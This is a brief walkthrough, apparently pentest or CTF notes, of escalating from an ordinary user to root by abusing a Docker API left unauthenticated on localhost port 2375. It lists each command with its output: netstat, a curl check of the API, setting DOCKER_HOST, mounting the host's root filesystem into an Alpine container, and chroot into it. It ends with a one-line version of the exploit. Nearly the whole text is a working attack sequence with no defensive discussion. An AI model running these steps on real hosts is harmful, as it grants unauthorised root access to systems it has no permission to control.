Docker - Escalation of privilege - Misconfigured Docker Socket

---

Who I am:

whoami
john

 

List all processes listening on TCP ports

netstat -tlp

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 localhost:2375          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -                   
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -           

 

• Port 2375: Docker API unencrypted
• Port 2376: Docker API encrypted

 

Check if port 2375 is connected to Docker:

curl localhost:2375/version

{"Platform":{"Name":"Docker Engine - Community"},
...

The Docker client is installed on the machine and uses the default port 2375. Now let's configure the Docker client to use TCP.

 

export DOCKER_HOST="tcp://localhost:2375"

 

https://docs.docker.com/engine/reference/commandline/cli/#environment-variables

 

Start a Container and mount the root of the host machine on a directory of the Container.

docker run -it -v /:/mnt alpine bash

Once inside the container:

 

chroot /mnt bash

 

Who I am:

whoami
root

 

In one line:

docker run -it --rm -v /:/mnt alpine chroot /mnt bash